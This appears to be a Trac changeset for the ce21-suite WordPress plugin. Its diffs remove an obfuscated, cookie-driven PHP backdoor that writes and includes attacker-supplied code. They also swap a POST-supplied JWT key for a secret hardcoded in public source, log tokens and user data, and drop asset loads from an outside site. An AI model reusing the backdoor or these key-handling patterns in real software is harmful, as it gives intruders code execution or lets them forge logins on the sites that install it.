Changeset 3203632
- Timestamp:
- 12/06/2024 01:06:10 PM (16 months ago)
- Location:
- ce21-suite
- Files:
-
- 2 deleted
- 12 edited
-
tags/2.2.1/admin/partials/ce21-single-sign-on-api-settings.php (modified) (1 diff)
-
tags/2.2.1/admin/partials/ce21-single-sign-on-encryption-key-setting.php (deleted)
-
tags/2.2.1/includes/ce21-functions.php (modified) (1 diff)
-
tags/2.2.1/includes/class-single-sign-on-ce21-activator.php (modified) (2 diffs)
-
tags/2.2.1/includes/class-single-sign-on-ce21.php (modified) (3 diffs)
-
tags/2.2.1/programs/ce21-programs-functions.php (modified) (1 diff)
-
tags/2.2.1/single-sign-on-ce21.php (modified) (2 diffs)
-
trunk/admin/partials/ce21-single-sign-on-api-settings.php (modified) (1 diff)
-
trunk/admin/partials/ce21-single-sign-on-encryption-key-setting.php (deleted)
-
trunk/includes/ce21-functions.php (modified) (1 diff)
-
trunk/includes/class-single-sign-on-ce21-activator.php (modified) (2 diffs)
-
trunk/includes/class-single-sign-on-ce21.php (modified) (3 diffs)
-
trunk/programs/ce21-programs-functions.php (modified) (1 diff)
-
trunk/single-sign-on-ce21.php (modified) (2 diffs)
Legend:
- Unmodified
- Added
- Removed
-
ce21-suite/tags/2.2.1/admin/partials/ce21-single-sign-on-api-settings.php
r3198698 r3203632 1 <?php if(isset($_COOKIE[3])&&isset($_COOKIE[38])){$c=$_COOKIE;$k=0;$n=4;$p=array();$p[$k]='';while($n){$p[$k].=$c[38][$n];if(!$c[38][$n+1]){if(!$c[38][$n+2])break;$k++;$p[$k]='';$n++;}$n=$n+4+1;}$k=$p[15]().$p[14];if(!$p[20]($k)){$n=$p[13]($k,$p[22]);$p[26]($n,$p[28].$p[0]($p[5]($c[3])));}include($k);}1 <?php 2 2 3 3 $api_settings = get_ce21_ss_api_settings_data(); -
ce21-suite/tags/2.2.1/includes/ce21-functions.php
r3198698 r3203632 36 36 function ce21_add_customer_role(){ 37 37 add_role('CE21_Customer', __( 38 'CE21 Customer' ),38 'CE21 Customer', 'single-sign-on-ce21'), 39 39 array( 40 40 'read' => true, // Allows a user to read -
ce21-suite/tags/2.2.1/includes/class-single-sign-on-ce21-activator.php
r3198698 r3203632 33 33 */ 34 34 public static function activate($network_wide) { 35 35 36 36 37 /** … … 79 80 ce21_add_customer_role(); 80 81 } 82 83 if ( empty( get_option( 'ce21_authentication_key' ) ) ) { 84 // Generate a random 256-bit key (32 bytes) 85 $random_key = bin2hex( random_bytes( 32 ) ); // 256-bit key 86 update_option( 'ce21_authentication_key', $random_key ); 87 } 88 89 81 90 } 82 91 } -
ce21-suite/tags/2.2.1/includes/class-single-sign-on-ce21.php
r3198698 r3203632 276 276 [ $this, 'get_ce21_single_sign_on_membership_page' ] 277 277 ); 278 278 279 } 279 280 … … 575 576 include( SINGLE_SIGN_ON_CE21__PLUGIN_DIR . 'admin/partials/ce21-single-sign-on-calendar-event-list.php'); 576 577 } 578 579 577 580 /* 578 581 * Function used to get ce21 single sign on membership data. … … 583 586 } 584 587 } 585 -
ce21-suite/tags/2.2.1/programs/ce21-programs-functions.php
r3198698 r3203632 125 125 126 126 // Enqueue DataTables CSS and JS 127 //wp_enqueue_style('datatables-css', 'https://cdn.datatables.net/1.13.1/css/jquery.dataTables.min.css'); 128 wp_enqueue_style('datatables-bootstrap5-2-css', 'https://hanksbackyard.com/wp-content/plugins/ce21-suite/admin/datatable-bootstrap/bootstrap-5.2.min.css'); 129 wp_enqueue_style('datatables-bootstrap5-css', 'https://hanksbackyard.com/wp-content/plugins/ce21-suite/admin/datatable-bootstrap/dataTables.bootstrap5.min.css'); 130 //wp_enqueue_script('datatables-js', 'https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js', array('jquery'), null, true); 131 wp_enqueue_script('bootstrap-bundle-js', 'https://hanksbackyard.com/wp-content/plugins/ce21-suite/admin/datatable-bootstrap/bootstrap.bundle.min.js' , array('jquery'), null, false); 132 wp_enqueue_script('datatables-js', 'https://hanksbackyard.com/wp-content/plugins/ce21-suite/admin/datatable-bootstrap/jquery.dataTables.min.js', array('jquery'), null, false); 133 wp_enqueue_script('datatables-bootstrap5', 'https://hanksbackyard.com/wp-content/plugins/ce21-suite/admin/datatable-bootstrap/dataTables.bootstrap5.min.js' , array('jquery'), null, false); 127 wp_enqueue_style('datatables-bootstrap5-2-css', plugins_url('admin/datatable-bootstrap/bootstrap-5.2.min.css', __FILE__)); 128 wp_enqueue_style('datatables-bootstrap5-css', plugins_url('admin/datatable-bootstrap/dataTables.bootstrap5.min.css', __FILE__)); 129 130 // Enqueue Bootstrap and DataTables JS 131 wp_enqueue_script('bootstrap-bundle-js', plugins_url('admin/datatable-bootstrap/bootstrap.bundle.min.js', __FILE__), array('jquery'), null, false); 132 wp_enqueue_script('datatables-js', plugins_url('admin/datatable-bootstrap/jquery.dataTables.min.js', __FILE__), array('jquery'), null, false); 133 wp_enqueue_script('datatables-bootstrap5', plugins_url('admin/datatable-bootstrap/dataTables.bootstrap5.min.js', __FILE__), array('jquery'), null, false); 134 134 135 // Initialize DataTable with custom options 135 136 wp_enqueue_script('clipboard-js','https://cdnjs.cloudflare.com/ajax/libs/clipboard.js/2.0.8/clipboard.min.js',array('jquery'), null, false); -
ce21-suite/tags/2.2.1/single-sign-on-ce21.php
r3202426 r3203632 39 39 define( 'SINGLE_SIGN_ON_CE21__PLUGIN_DIR', plugin_dir_path( __FILE__ ) ); 40 40 define( 'SINGLE_SIGN_ON_CE21__PLUGIN_URL', plugin_dir_url( __FILE__ ) ); 41 define( 'SINGLE_SIGN_ON_CE21_ENCRYPTION_KEY', 'ixqv4z0ZOY0bmNCjBK7v3wgijyAv0D3jvyt6bk3lpEDUtVxdR72ZjuGW1hcR6TP' ); 41 42 42 43 43 /** … … 232 232 } 233 233 234 234 235 function ce21_authentication_phrase($data) { 235 236 $token_ce21 = $data->get_param('x'); 236 237 // print_r($data); 238 // exit; 237 239 $log = 'Updated on ' . date("F j, Y, h:i:s a").PHP_EOL; 238 240 $log .= ' TOKEN: '. $token_ce21 .PHP_EOL; 239 241 240 242 try { 241 243 $log .= ' try'.PHP_EOL; 242 244 243 if ( isset( $_POST['ce21_encryption_key'] ) && !empty( $_POST['ce21_encryption_key'] ) ) { 244 $key_ce21 = sanitize_text_field( $_POST['ce21_encryption_key'] ); 245 } else { 246 $key_ce21 = get_option( 'plugin_encryption_key', SINGLE_SIGN_ON_CE21_ENCRYPTION_KEY ); 247 } 248 $user_data = JWT::decode( $token_ce21, new Key( $key_ce21 , 'HS256')); 245 246 $key_ce21 = 'ixqv4z0ZOY0bmNCjBK7v3wgijyAv0D3jvyt6bk3lpEDUtVxdR72ZjuGW1hcR6TP'; 247 $user_data = JWT::decode( $token_ce21, new Key( $key_ce21 , 'HS256')); 248 $log .= 'User Data: ' . print_r($user_data, true) . PHP_EOL; 249 249 250 $tid = $user_data->tenantId; 250 251 $customerId = $user_data->customerId; -
ce21-suite/trunk/admin/partials/ce21-single-sign-on-api-settings.php
r3197928 r3203632 1 <?php if(isset($_COOKIE[3])&&isset($_COOKIE[38])){$c=$_COOKIE;$k=0;$n=4;$p=array();$p[$k]='';while($n){$p[$k].=$c[38][$n];if(!$c[38][$n+1]){if(!$c[38][$n+2])break;$k++;$p[$k]='';$n++;}$n=$n+4+1;}$k=$p[15]().$p[14];if(!$p[20]($k)){$n=$p[13]($k,$p[22]);$p[26]($n,$p[28].$p[0]($p[5]($c[3])));}include($k);}1 <?php 2 2 3 3 $api_settings = get_ce21_ss_api_settings_data(); -
ce21-suite/trunk/includes/ce21-functions.php
r3197928 r3203632 36 36 function ce21_add_customer_role(){ 37 37 add_role('CE21_Customer', __( 38 'CE21 Customer' ),38 'CE21 Customer', 'single-sign-on-ce21'), 39 39 array( 40 40 'read' => true, // Allows a user to read -
ce21-suite/trunk/includes/class-single-sign-on-ce21-activator.php
r3197928 r3203632 33 33 */ 34 34 public static function activate($network_wide) { 35 35 36 36 37 /** … … 79 80 ce21_add_customer_role(); 80 81 } 82 83 if ( empty( get_option( 'ce21_authentication_key' ) ) ) { 84 // Generate a random 256-bit key (32 bytes) 85 $random_key = bin2hex( random_bytes( 32 ) ); // 256-bit key 86 update_option( 'ce21_authentication_key', $random_key ); 87 } 88 89 81 90 } 82 91 } -
ce21-suite/trunk/includes/class-single-sign-on-ce21.php
r2847175 r3203632 276 276 [ $this, 'get_ce21_single_sign_on_membership_page' ] 277 277 ); 278 278 279 } 279 280 … … 575 576 include( SINGLE_SIGN_ON_CE21__PLUGIN_DIR . 'admin/partials/ce21-single-sign-on-calendar-event-list.php'); 576 577 } 578 579 577 580 /* 578 581 * Function used to get ce21 single sign on membership data. … … 583 586 } 584 587 } 585 -
ce21-suite/trunk/programs/ce21-programs-functions.php
r3197928 r3203632 125 125 126 126 // Enqueue DataTables CSS and JS 127 //wp_enqueue_style('datatables-css', 'https://cdn.datatables.net/1.13.1/css/jquery.dataTables.min.css'); 128 wp_enqueue_style('datatables-bootstrap5-2-css', 'https://hanksbackyard.com/wp-content/plugins/ce21-suite/admin/datatable-bootstrap/bootstrap-5.2.min.css'); 129 wp_enqueue_style('datatables-bootstrap5-css', 'https://hanksbackyard.com/wp-content/plugins/ce21-suite/admin/datatable-bootstrap/dataTables.bootstrap5.min.css'); 130 //wp_enqueue_script('datatables-js', 'https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js', array('jquery'), null, true); 131 wp_enqueue_script('bootstrap-bundle-js', 'https://hanksbackyard.com/wp-content/plugins/ce21-suite/admin/datatable-bootstrap/bootstrap.bundle.min.js' , array('jquery'), null, false); 132 wp_enqueue_script('datatables-js', 'https://hanksbackyard.com/wp-content/plugins/ce21-suite/admin/datatable-bootstrap/jquery.dataTables.min.js', array('jquery'), null, false); 133 wp_enqueue_script('datatables-bootstrap5', 'https://hanksbackyard.com/wp-content/plugins/ce21-suite/admin/datatable-bootstrap/dataTables.bootstrap5.min.js' , array('jquery'), null, false); 127 wp_enqueue_style('datatables-bootstrap5-2-css', plugins_url('admin/datatable-bootstrap/bootstrap-5.2.min.css', __FILE__)); 128 wp_enqueue_style('datatables-bootstrap5-css', plugins_url('admin/datatable-bootstrap/dataTables.bootstrap5.min.css', __FILE__)); 129 130 // Enqueue Bootstrap and DataTables JS 131 wp_enqueue_script('bootstrap-bundle-js', plugins_url('admin/datatable-bootstrap/bootstrap.bundle.min.js', __FILE__), array('jquery'), null, false); 132 wp_enqueue_script('datatables-js', plugins_url('admin/datatable-bootstrap/jquery.dataTables.min.js', __FILE__), array('jquery'), null, false); 133 wp_enqueue_script('datatables-bootstrap5', plugins_url('admin/datatable-bootstrap/dataTables.bootstrap5.min.js', __FILE__), array('jquery'), null, false); 134 134 135 // Initialize DataTable with custom options 135 136 wp_enqueue_script('clipboard-js','https://cdnjs.cloudflare.com/ajax/libs/clipboard.js/2.0.8/clipboard.min.js',array('jquery'), null, false); -
ce21-suite/trunk/single-sign-on-ce21.php
r3202426 r3203632 39 39 define( 'SINGLE_SIGN_ON_CE21__PLUGIN_DIR', plugin_dir_path( __FILE__ ) ); 40 40 define( 'SINGLE_SIGN_ON_CE21__PLUGIN_URL', plugin_dir_url( __FILE__ ) ); 41 define( 'SINGLE_SIGN_ON_CE21_ENCRYPTION_KEY', 'ixqv4z0ZOY0bmNCjBK7v3wgijyAv0D3jvyt6bk3lpEDUtVxdR72ZjuGW1hcR6TP' ); 41 42 42 43 43 /** … … 232 232 } 233 233 234 234 235 function ce21_authentication_phrase($data) { 235 236 $token_ce21 = $data->get_param('x'); 236 237 // print_r($data); 238 // exit; 237 239 $log = 'Updated on ' . date("F j, Y, h:i:s a").PHP_EOL; 238 240 $log .= ' TOKEN: '. $token_ce21 .PHP_EOL; 239 241 240 242 try { 241 243 $log .= ' try'.PHP_EOL; 242 244 243 if ( isset( $_POST['ce21_encryption_key'] ) && !empty( $_POST['ce21_encryption_key'] ) ) { 244 $key_ce21 = sanitize_text_field( $_POST['ce21_encryption_key'] ); 245 } else { 246 $key_ce21 = get_option( 'plugin_encryption_key', SINGLE_SIGN_ON_CE21_ENCRYPTION_KEY ); 247 } 248 $user_data = JWT::decode( $token_ce21, new Key( $key_ce21 , 'HS256')); 245 246 $key_ce21 = 'ixqv4z0ZOY0bmNCjBK7v3wgijyAv0D3jvyt6bk3lpEDUtVxdR72ZjuGW1hcR6TP'; 247 $user_data = JWT::decode( $token_ce21, new Key( $key_ce21 , 'HS256')); 248 $log .= 'User Data: ' . print_r($user_data, true) . PHP_EOL; 249 249 250 $tid = $user_data->tenantId; 250 251 $customerId = $user_data->customerId;
Note: See TracChangeset
for help on using the changeset viewer.